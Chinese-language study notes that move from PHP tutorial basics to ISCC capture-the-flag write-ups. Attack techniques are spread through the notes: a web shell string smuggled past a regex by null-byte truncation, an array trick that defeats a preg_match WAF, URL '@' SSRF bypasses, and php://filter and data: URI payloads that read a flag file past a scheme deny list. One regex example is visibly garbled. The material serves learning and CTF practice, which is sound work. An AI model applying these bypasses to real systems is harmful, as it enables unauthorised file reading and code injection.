1. 任务

1.1.1.1.1.1. 知识部分
  1. rce看【之前的笔记?】
  2. php的知识点学习继续
  3. jwt token好像是比赛的题目考察内容,我看看
  4. php伪协议
1.1.1.1.1.2. 题目
  1. 参加iscc比赛【五一】
  2. rce题目
1.1.1.1.1.3. 环境配置
  1. 把vscode搞好,上学期没有把Php配置弄好

2. 知识点学习

2.1. php继续学习

https://www.runoob.com/php/php-variables.html

2.1.1. php if-else

2.1.2. lfelse语句

2.1.2.1. 条件语句
  • if 语句 - 在条件成立时执行代码
  • if...else 语句 - 在条件成立时执行一块代码,条件不成立时执行另一块代码
  • if...elseif....else 语句 - 在若干条件之一成立时执行一个代码块
  • switch 语句 - 在若干条件之一成立时执行一个代码块
2.1.2.2. 其实c语言里面已经讲过,简单带过

2.1.3. php switch语句

<?php
switch (expression) {
    case value1:
        // 代码块1
        break;
    case value2:
        // 代码块2
        break;
    // 更多的 case 语句
    default:
        // 如果没有匹配的值
}
?>
  • expression 是要被比较的表达式。
  • case value: 是可能的值,如果 expression 的值等于某个 case 的值,就执行相应的代码块。
  • break; 用于终止 switch 语句,防止继续执行下一个 case
  • default: 是可选的,用于指定当没有匹配的 case 时执行的代码块。
2.1.3.1.1. 栗子
<?php
$favcolor="red";
switch ($favcolor)
{
case "red":
    echo "你喜欢的颜色是红色!";
    break;
case "blue":
    echo "你喜欢的颜色是蓝色!";
    break;
case "green":
    echo "你喜欢的颜色是绿色!";
    break;
default:
    echo "你喜欢的颜色不是 红, 蓝, 或绿色!";
}
?>

2.1.4. php 数组

数组是一个能在单个变量中存储多个值的特殊变量。

  • 数值数组 - 带有数字 ID 键的数组
  • 关联数组 - 带有指定的键的数组,每个键关联一个值
  • 多维数组 - 包含一个或多个数组的数组
2.1.4.1. 数值数组

自动从0开始计数,可以更加便捷地去表示这个位置内容数据

2.1.4.1.1. 获取长度

count($cars)

2.1.4.1.2. 遍历

使用For循环

2.1.4.2. 关联数组

指代,,

2.1.4.2.1. 遍历数组

2.1.4.2.1.1. 补充【使用函数foreach】
// 格式1:只获取元素值,不需要键名
foreach (要遍历的数组 as $当前元素值) {
         // 循环体逻辑
         }

// 格式2:同时获取元素的键和值
foreach (要遍历的数组 as $当前键名 => $当前元素值) {
                  // 循环体逻辑
                  }

栗子:

$userInfo = [
    "username" => "admin",
    "role" => "root",
    "id" => 1
];

foreach ($userInfo as $key => $value) {
    echo "{$key}:{$value}<br>";
}
// 输出:
// username:admin
// role:root
// id:1
$userInfo = [
    "username" => "admin",
    "role" => "root",
    "id" => 1
];

// 只拿值,不拿键
foreach ($userInfo as $value) {
    echo "{$value}<br>";
}
// 输出:
// admin
// root
// 1


foreach ($userInfo as $key => $value) {
    echo "{$key}<br>";
}
//输出
// username
// role
// id

2.1.5. php数组排序

  • sort() - 对数组进行升序排列
  • rsort() - 对数组进行降序排列
  • asort() - 根据关联数组的值,对数组进行升序排列
  • ksort() - 根据关联数组的键,对数组进行升序排列
  • arsort() - 根据关联数组的值,对数组进行降序排列
  • krsort() - 根据关联数组的键,对数组进行降序排列
2.1.5.1. sort(),rsort()

[0]=>2,,,[1]=>4

2.1.5.2. asort(),arsort(),ksort(),krsort()

a:是值,后面那个=> #

k:是键,前面那个 # =>

2.1.6. PHP 表单 - 验证邮件和URL

2.1.6.1.1. preg_match — 进行正则表达式匹配

int preg_match ( string $pattern , string $subject [, array $matches [, int $flags ]] )

参数

作用

说明

$pattern

正则规则

必填,必须是完整的正则表达式,需要用分隔符包裹(常用/

,例如/test/i

$subject

目标字符串

必填,要匹配的原始字符串

$matches

匹配结果

可选,存储匹配到的结果:$matches[0]是整个正则匹配到的内容,$matches[1]是第一个分组的结果,以此类推

$flags

标记位

可选,用来修改匹配行为,常用值:PREG_OFFSET_CAPTURE

会同时返回匹配结果在字符串中的偏移位置

匹配成功,输出=>1,对应内容,

!preg_match($pattern, $username)则是不符合,不匹配时进行的操作

符号

含义

作用

/

正则定界符

PHP正则必须用分隔符把规则包起来,常用/,只是语法要求,本身不匹配内容

^

匹配开头

代表必须从字符串的第一个字符就开始符合规则,不能在开头插入其他内容

\d

匹配数字

[0-9]一个意思,代表只能匹配0~9的阿拉伯数字

+

量词

代表前面的\d至少出现1次,不允许空字符串

$

匹配结尾

代表必须匹配到字符串的最后一个字符,不能在结尾留其他非数字内容

2.1.6.1.1.1. 例子1:获取URL中的参数值(CTF代码审计常考)

提取URL路径中/flag_xxxxxx格式的flag编号:

$url = "/api/flag_1a2b3c4d/get.php";
// 正则匹配flag_后面的任意字符
$pattern = '/flag_([a-zA-Z0-9]+)/';
preg_match($pattern, $url, $matches);

echo "匹配到的flag:flag_" . $matches[1];
// 输出:匹配到的flag:flag_1a2b3c4d

2.1.6.1.1.2. 例子2:用户名正则校验(绕过场景)

场景:要求用户名只能是字母,不能包含特殊字符,且必须以字母开头:

$username = "admin123";
// 正则规则:开头到结尾只能是字母
$pattern = '/^[a-zA-Z]+$/';

if (!preg_match($pattern, $username)) {
    echo "用户名不合法,不能包含数字!";//匹配不成功
} else {
    echo "用户名合法";
}
// 这里$username是admin123,输出:用户名不合法,不能包含数字!

对应PHP 5.2下的绕过例子:

如果正则要求必须只包含字母,但我们想插入攻击代码,可以用空字节截断绕过:

// 插入了\0(%00)截断,后面的攻击代码不会被检查
$username = "admin\0<?php eval($_GET[cmd]);?>";

$pattern = '/^[$/';
if (!preg_match($pattern, $username)) {
    echo "用户名不合法!";
} else {
    echo "用户名合法";
}
// 在PHP 5.2中会输出"用户名合法",成功绕过正则检测

2.1.6.1.1.3. 例子3:WAF绕过(数组绕过)

a-zA-Z]+场景:WAF用preg_match检测POST参数中是否有eval等危险关键词:

// 服务端检测逻辑
if (preg_match('/eval|union|select/i', $_POST['content'])) {
    die("检测到恶意内容,已拦截");//匹配成功
}
echo "请求通过";

// 绕过方法:把content传成数组,而不是字符串:
// content[0]=test,此时preg_match匹配数组会直接返回false,WAF拦截不生效
// 最终会输出"请求通过",绕过成功

这也是你做Web渗透测试时非常实用的绕过技巧。

2.1.6.1. 验证 URL,邮箱,名称
<?php
// 定义变量并默认设置为空值
$nameErr = $emailErr = $genderErr = $websiteErr = "";
$name = $email = $gender = $comment = $website = "";

if ($_SERVER["REQUEST_METHOD"] == "POST") {
   if (empty($_POST["name"])) {
      $nameErr = "Name is required";
      } else {
         $name = test_input($_POST["name"]);
         // 检测名字是否只包含字母跟空格
         if (!preg_match("/^[a-zA-Z ]*$/",$name)) {
         $nameErr = "只允许字母和空格"; 
         }
     }
   
   if (empty($_POST["email"])) {
      $emailErr = "Email is required";
   } else {
      $email = test_input($_POST["email"]);
      // 检测邮箱是否合法
      if (!preg_match("/([\w\-]+\@[\w\-]+\.[\w\-]+)/",$email)) {
         $emailErr = "非法邮箱格式"; 
      }
   }
     
   if (empty($_POST["website"])) {
      $website = "";
   } else {
      $website = test_input($_POST["website"]);
      // 检测 URL 地址是否合法
     if (!preg_match("/\b(?:(?:https?|ftp):\/\/|www\.)[-a-z0-9+&@#\/%?=~_|!:,.;]*[-a-z0-9+&@#\/%=~_|]/i",$website)) {
         $websiteErr = "非法的 URL 的地址"; 
      }
   }

   if (empty($_POST["comment"])) {
      $comment = "";
   } else {
      $comment = test_input($_POST["comment"]);
   }

   if (empty($_POST["gender"])) {
      $genderErr = "性别是必需的";
   } else {
      $gender = test_input($_POST["gender"]);
   }
}
?>

2.1.7. php 时间

string date ( string $format [, int $timestamp ] )

参数

描述

format

必需。规定时间戳的格式。

timestamp

可选。规定时间戳。默认是当前的日期和时间。

date() 函数的第一个必需参数 format 规定了如何格式化日期/时间。

format

字符

说明

返回值例子

---

---

d

月份中的第几天,有前导零的 2 位数字

0131

D

星期中的第几天,文本表示,3 个字母

MonSun

j

月份中的第几天,没有前导零

131

l("L"的小写字母)

星期几,完整的文本格式

SundaySaturday

N

ISO-8601 格式数字表示的星期中的第几天(PHP 5.1.0 新加)

1(表示星期一)到 7(表示星期天)

S

每月天数后面的英文后缀,2 个字符

stndrd 或者 th。可以和 j 一起用

w

星期中的第几天,数字表示

0(表示星期天)到 6(表示星期六)

z

年份中的第几天

0365

星期

---

---

W

ISO-8601 格式年份中的第几周,每周从星期一开始(PHP 4.1.0 新加的)

例如:42(当年的第 42 周)

---

---

F

月份,完整的文本格式,例如 January 或者 March

JanuaryDecember

m

数字表示的月份,有前导零

0112

M

三个字母缩写表示的月份

JanDec

n

数字表示的月份,没有前导零

112

t

给定月份所应有的天数

2831

---

---

L

是否为闰年

如果是闰年为 1,否则为 0

o

ISO-8601 格式年份数字。这和 Y 的值相同,只除了如果 ISO 的星期数(W)属于前一年或下一年,则用那一年。(PHP 5.1.0 新加)

Examples: 1999 or 2003

Y

4 位数字完整表示的年份

例如:19992003

y

2 位数字表示的年份

例如:9903

时间

---

---

a

小写的上午和下午值

ampm

A

大写的上午和下午值

AMPM

B

Swatch Internet 标准时

000999

g

小时,12 小时格式,没有前导零

112

G

小时,24 小时格式,没有前导零

023

h

小时,12 小时格式,有前导零

0112

H

小时,24 小时格式,有前导零

0023

i

有前导零的分钟数

0059>

s

秒数,有前导零

0059>

u

毫秒 (PHP 5.2.2 新加)。需要注意的是 date() 函数总是返回 000000 因为它只接受 integer 参数, 而 DateTime::format() 才支持毫秒。

示例: 654321

时区

---

---

e

时区标识(PHP 5.1.0 新加)

例如:UTCGMTAtlantic/Azores

I

是否为夏令时

如果是夏令时为 1,否则为 0

O

与格林威治时间相差的小时数

例如:+0200

P

与格林威治时间(GMT)的差别,小时和分钟之间有冒号分隔(PHP 5.1.3 新加)

例如:+02:00

T

本机所在的时区

例如:ESTMDT(【译者注】在 Windows 下为完整文本格式,例如"Eastern Standard Time",中文版会显示"中国标准时间")。

Z

时差偏移量的秒数。UTC 西边的时区偏移量总是负的,UTC 东边的时区偏移量总是正的。

-4320043200

完整的日期/时间

---

---

c

ISO 8601 格式的日期(PHP 5 新加)

2004-02-12T15:19:21+00:00

r

RFC 822 格式的日期

例如:Thu, 21 Dec 2000 16:01:07 +0200

U

从 Unix 纪元(January 1 1970 00:00:00 GMT)开始至今的秒数

参见 time()

2.1.8. php过滤器

2.1.8.1. 过滤器是什么

PHP 过滤器用于验证和过滤来自非安全来源的数据。

测试、验证和过滤用户输入或自定义数据是任何 Web 应用程序的重要组成部分。

PHP 的过滤器扩展的设计目的是使数据过滤更轻松快捷。

2.1.8.2. 函数和过滤器
  • filter_var() - 通过一个指定的过滤器来过滤单一的变量
  • filter_var_array() - 通过相同的或不同的过滤器来过滤多个变量
  • filter_input - 获取一个输入变量,并对它进行过滤
  • filter_input_array - 获取多个输入变量,并通过相同的或不同的过滤器对它们进行过滤
2.1.8.2.1. 栗子
  • FILTER_VALIDATE_INT:验证是否是整数,验证数字参数最常用
// 验证id是否是整数
$id = $_GET['id'];
if(filter_var($id, FILTER_VALIDATE_INT)){
    echo "合法参数";
}
  • FILTER_SANITIZE_STRING:过滤字符串,去除标签和特殊字符,用来防止XSS
  • FILTER_VALIDATE_URL:验证URL格式,代码题中经常用来考URL绕过【FILTER_VALIDATE_URL要求必须有http://协议头,我们可以通过在URL中嵌入@来绕过host验证,例如http://example.com@127.0.0.1,会被误认为访问example.com实际解析的是127.0.0.1,可以触发SSRF绕过。】
  • FILTER_VALIDATE_IP:验证IP地址格式
2.1.8.3. Validating 和 Sanitizing

有两种过滤器:

Validating 过滤器:

  • 用于验证用户输入
  • 严格的格式规则(比如 URL 或 E-Mail 验证)
  • 如果成功则返回预期的类型,如果失败则返回 FALSE

Sanitizing 过滤器:

  • 用于允许或禁止字符串中指定的字符
  • 无数据格式规则
  • 始终返回字符串验证输入

  • 第一段:FILTER_VALIDATE_EMAIL
    • 属于验证类过滤器:只做格式验证,返回结果是 true(合法) 或 false(非法),不会修改你的原始输入。
  • 第二段:FILTER_SANITIZE_URL
    • 属于净化类过滤器:会直接修改输入内容,自动删除URL中不允许的特殊字符(比如空格、非ASCII字符、#、<>这些符号),返回处理后的干净字符串。

2.1.8.4. 验证输入
<?php
if(!filter_has_var(INPUT_GET, "email"))
{
    echo("没有 email 参数");
}
else
{
    if (!filter_input(INPUT_GET, "email", FILTER_VALIDATE_EMAIL))
    {
        echo "不是一个合法的 E-Mail";
    }
    else
    {
        echo "是一个合法的 E-Mail";
    }
}
?>

上面的实例有一个通过 "GET" 方法传送的输入变量 (email):

  1. 检测是否存在 "GET" 类型的 "email" 输入变量
  2. 如果存在输入变量,检测它是否是有效的 e-mail 地址

2.1.8.5. 净化输入
<?php
if(!filter_has_var(INPUT_GET, "url"))
{
    echo("没有 url 参数");
}
else
{
    $url = filter_input(INPUT_GET, 
    "url", FILTER_SANITIZE_URL);
    echo $url;
}
?>

上面的实例有一个通过 "GET" 方法传送的输入变量 (url):

  1. 检测是否存在 "GET" 类型的 "url" 输入变量
  2. 如果存在此输入变量,对其进行净化(删除非法字符),并将其存储在 $url 变量中

2.1.8.6. 过滤多个输入
<?php
$filters = array
(
    // name字段:使用FILTER_SANITIZE_STRING净化
    "name" => array
    (
        "filter"=>FILTER_SANITIZE_STRING
    ),
    // age字段:验证是否是整数,同时限制范围1-120
    "age" => array
    (
        "filter"=>FILTER_VALIDATE_INT,
        "options"=>array
        (
            "min_range"=>1,
            "max_range"=>120
        )
    ),
    // email字段:直接验证邮箱格式
    "email"=> FILTER_VALIDATE_EMAIL
);

$result = filter_input_array(INPUT_GET, $filters);
//一次性从INPUT_GET(也就是URL参数)中获取三个参数,
//按照上面定义的规则分别过滤,结果会按字段名存回到$result数组中。
 
if (!$result["age"])
{
    echo("年龄必须在 1 到 120 之间。<br>");
}
elseif(!$result["email"])
{
    echo("E-Mail 不合法<br>");
}
else
{
    echo("输入正确");
}
?>

filter_input_array() 函数的第二个参数可以是数组单一过滤器的 ID

如果该参数是单一过滤器的 ID,那么这个指定的过滤器会过滤输入数组中所有的值。

如果该参数是一个数组,那么此数组必须遵循下面的规则:

  • 必须是一个关联数组,其中包含的输入变量是数组的键(比如 "age" 输入变量)
  • 此数组的值必须是过滤器的 ID ,或者是规定了过滤器、标志和选项的数组
2.1.8.7. 使用 Filter Callback

通过使用 FILTER_CALLBACK 过滤器,可以调用自定义的函数,把它作为一个过滤器来使用。

3. 题目

3.1. iscc题目一

3.1.1. 题目

3.1.2. 解题

3.1.2.1. 第一步

随便输入一个数

3.1.2.2. 第二步

看不懂,这个知识点我应该是不会,一番查询过后,好像考察的是JWT的token?

查博客

应该可能使用的工具

JWT在线工具 - kjson在线工具

在线JWT Token生成

3.1.2.3. 放弃
3.1.2.4. 额,看了眼别人的答案

得知,没有我想的那么复杂,只是一个简单的key过滤【我竟然还想了那么多】

首先输入key123,发现key没了,说明被绕过了,这个其实在题目也有提示

然后想办法绕过这个key,如双写kkeyey

第一关过了,接下来让你用post写a

a[key]=1337

下一关,用get来写,要使得a,b相等,md5的哈希碰撞(有专门的计算方式,一查就可)

a=240610708
b=314282422

3.2. iscc题目二

3.2.1. 题目

我们上线了一个“JSON 美化 + 预览”小工具:提交数据后会生成一个临时预览文件,方便复查内容。

3.2.2. 解答过程

3.2.2.1. 第一步,我先照抄了一下json

3.2.2.2. 第二步,发现错误提示

/robots.txt

3.2.2.3. 第三步,前往

preview.phpbeautify.php发现这两个地方也是不可访问,可能是没写完整

3.2.2.4. 第四步,根据preview.php要求,查找preview.php源代码

使用伪协议,去看preview.php的源代码,因为之前只看见beautify.php的源代码

根据提示,可能是层级不对

找到源代码了

<?php
declare(strict_types=1);

header('Content-Type: text/plain; charset=utf-8');
header('X-Powered-By: JSON Preview');

error_reporting(0);

require_once __DIR__ . '/config.php';

function out(int $code, string $body): void {
    http_response_code($code);
    echo $body;
    exit;
}

function startsWith(string $s, string $prefix): bool {
    return strncmp($s, $prefix, strlen($prefix)) === 0;
}

function schemeOf(string $uri): ?string {
    $p = strpos($uri, '://');
    if ($p === false) return null;
    $scheme = substr($uri, 0, $p);
    if (preg_match('/^[a-zA-Z][a-zA-Z0-9+\.\-]*$/', $scheme) !== 1) {
        return null;
    }
    return strtolower($scheme);
}

if ($_SERVER['REQUEST_METHOD'] !== 'GET') {
    out(405, "Method Not Allowed\n");
}

if (!isset($_GET['file']) || trim((string)$_GET['file']) === '') {
    out(200,
        "JSON Preview API\n\n" .
        "Usage:\n" .
        "  GET /api/preview.php?file=<name>\n\n" .
        "有些东西离这里有点远,也许换个路径层级再看看,会遇到更有意思的文件。\n"
    );
}

$file = (string)$_GET['file'];
$file = str_replace("\0", '', $file);

$requested = TMP_DIR . '/' . $file;

if (strpos($requested, TMP_DIR) !== 0) {
    out(400, "Bad path\n");
}

$real = realpath($requested);
if ($real === false || !is_file($real)) {
    out(404, "Not Found\n");
}

$tmpPrefix = rtrim(TMP_DIR, '/') . '/';
$srcPrefix = rtrim(SRC_API_DIR, '/') . '/';

if (!startsWith($real, $tmpPrefix) && !startsWith($real, $srcPrefix)) {
    out(403, "Forbidden\n");
}

$content = file_get_contents($real);
if ($content === false) {
    out(500, "Read error\n");
}

$isTmp = startsWith($real, $tmpPrefix) && preg_match('/\.tmp$/', $real) === 1;
$line = trim((string)$content);

if ($isTmp) {
    $scheme = schemeOf($line);
    if ($scheme !== null) {
        $deny = [
            'http', 'https', 'ftp', 'ftps',
            'phar', 'expect',
        ];
        if (in_array($scheme, $deny, true)) {
            out(403, "Forbidden scheme\n");
        }

        $pos = stripos($line, 'resource=');
        if ($pos === false) {
            out(400, "Bad reference\n");
        }
       
        $resource = rawurldecode(substr($line, $pos + 9));
        if ($resource !== FLAG_PATH) {
            out(403, "Forbidden resource\n");
        }

        $data = @file_get_contents($line);
        if ($data === false) {
            out(500, "Resource read error\n");
        }
        echo $data;
        exit;
    }
}

echo $content;
3.2.2.4.1.1. 补充知识点

读取网站当前目录的源码
当不确定网站的绝对路径时,不需要爆破路径,直接通过php://filter/read=convert.base64-encode/resource=/proc/self/cwd/xxx.php,就可以直接读取当前目录下任意PHP文件的源码,完美解决路径未知的问题。

3.2.2.5. 第五步,进行代码审计

我打包给ai了,

declare(strict_types=1);

  开启PHP严格类型模式,强制函数参数和返回值必须匹配声明的类型,
  避免隐式类型转换导致的安全问题,是现代PHP安全编码的标准写法。
header('Content-Type: text/plain; charset=utf-8');
header('X-Powered-By: JSON Preview');

第一行:强制响应内容为纯文本UTF8编码,避免乱码
第二行:自定义响应头,模拟成JSON预览工具的后端接口
require_once __DIR__ . '/config.php';


作用:加载当前目录下的config.php配置文件,
通常这里会定义TMP_DIR、SRC_API_DIR、FLAG_PATH等题目核心常量。
  1. 漏洞点1
$deny = [
    'http', 'https', 'ftp', 'ftps',
    'phar', 'expect',
];

没有过滤php://流协议,尤其是php://filter[伪协议绕过]

  1. 漏洞点2
$pos = stripos($line, 'resource=');
//resource=就是9
$resource = rawurldecode(substr($line, $pos + 9));
//做了一次URL解码
if ($resource !== FLAG_PATH) {
    out(403, "Forbidden resource\n");
}
$data = @file_get_contents($line);

用file_get_contents直接读取用户传入的URI内容

file_get_contents解析URI时,PHP自动对URI进行第二次解码【所以要编码两次】
3.2.2.6. 第六步,答案

php://filter/convert.base64-encode/resource=/secret/flag

convert.base64-encode

过滤器,作用是将读取到的文件内容做Base64编码转换

对上面进行base64编码

data:text/plain;base64,cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT0vc2VjcmV0L2ZsYWc=

去访问,在preview.php的页面中传入?file=preview文件

https://www.toolhelper.cn/EncodeDecode/Base64解码

更多推荐